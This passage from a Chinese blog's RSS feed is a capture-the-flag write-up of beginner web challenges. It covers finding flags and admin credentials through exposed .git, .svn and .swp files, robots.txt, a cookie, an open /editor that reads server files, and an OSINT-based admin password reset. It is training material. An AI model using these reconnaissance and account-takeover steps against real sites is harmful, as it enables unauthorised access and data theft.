&lt;li&gt;&lt;strong&gt;网站备份&lt;/strong&gt;：开发者可能会将整个网站的内容打包成 &lt;code&gt;www.zip&lt;/code&gt;，以便进行备份。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网站迁移&lt;/strong&gt;：在将网站从一个服务器迁移到另一个服务器时，打包成 &lt;code&gt;.zip&lt;/code&gt; 文件可以简化传输过程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件共享&lt;/strong&gt;：将网站文件打包成 &lt;code&gt;.zip&lt;/code&gt; 文件后，可以更容易地通过电子邮件或其他方式分享给他人。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下载资源&lt;/strong&gt;：某些网站可能会提供 &lt;code&gt;www.zip&lt;/code&gt; 文件供用户下载，以便离线查看或使用网站内容。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Case7-.git&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;.git&lt;/code&gt; 文件夹是 Git 版本控制系统用来存储与版本控制相关的数据的目录，通常包括配置文件、对象文件和索引文件。正常情况下，&lt;code&gt;.git&lt;/code&gt; 文件夹中不会有 &lt;code&gt;index.php&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;不知道为什么，我访问 &lt;code&gt;index.php&lt;/code&gt; 时，就拿到了flag&lt;/p&gt;
&lt;h2&gt;Case8-.svn&lt;/h2&gt;
&lt;p&gt;与&lt;code&gt;Case7&lt;/code&gt;类似，访问&lt;code&gt;.svn&lt;/code&gt;
&lt;code&gt;.svn&lt;/code&gt; 是 Subversion（SVN）版本控制系统的工作目录中的隐藏文件夹，类似于 Git 中的 &lt;code&gt;.git&lt;/code&gt; 目录。这个文件夹包含了 SVN 用来管理版本控制的所有元数据和文件。&lt;/p&gt;
&lt;h3&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隐藏目录&lt;/strong&gt;：在大多数操作系统中，&lt;code&gt;.svn&lt;/code&gt; 是一个隐藏目录，默认情况下不会显示。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本控制数据&lt;/strong&gt;：包含了所有版本控制相关的信息，如文件的历史版本、提交日志等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每个子目录都有&lt;/strong&gt;：与 Git 不同，SVN 在工作副本的每个子目录中都会创建一个 &lt;code&gt;.svn&lt;/code&gt; 目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Case9-.swp&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;发现网页有个错别字？赶紧在生产环境vim改下，不好，死机了&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;访问&lt;code&gt;index.php.swp&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Case10-cookie&lt;/h2&gt;
&lt;p&gt;在请求数据包cookie看到flag&lt;/p&gt;
&lt;h2&gt;Case11-TXT 记录&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;目前不会做&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也可能是坠机了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/web-starter/1743432198536.png&quot; alt=&quot;1743432198536&quot;&gt;&lt;/p&gt;
&lt;p&gt;查询域名TXT记录 一般指为某个主机名或域名设置的说明&lt;/p&gt;
&lt;h2&gt;Case12-信息搜集&amp;amp;robots.txt&lt;/h2&gt;
&lt;p&gt;查看&lt;code&gt;robots.txt&lt;/code&gt;文件，找到后台登录地址，用户名admin。密码：在页面的最下方&lt;/p&gt;
&lt;h2&gt;Case13-信息搜集&lt;/h2&gt;
&lt;p&gt;在页面下面发现 document 下载发现里面存在后台地址和用户名密码&lt;/p&gt;
&lt;h2&gt;Case14-editor&lt;/h2&gt;
&lt;p&gt;访问&lt;code&gt;/editor&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/web-starter/1743435021968.png&quot; alt=&quot;1743435021968&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以读取整个服务器文件&lt;/p&gt;
&lt;h2&gt;Case14-信息搜集&lt;/h2&gt;
&lt;p&gt;来自题解: 
访问/admin页面 发现有一个忘记密码操作，需要输入地址 在主页面下面看到QQ邮箱，通过QQ号查询邮箱，是西安的 修改密码成功，用户名 admin 登录成功获得flag&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Thu, 20 Mar 2025 00:00:00 GMT</pubDate></item></channel></rss>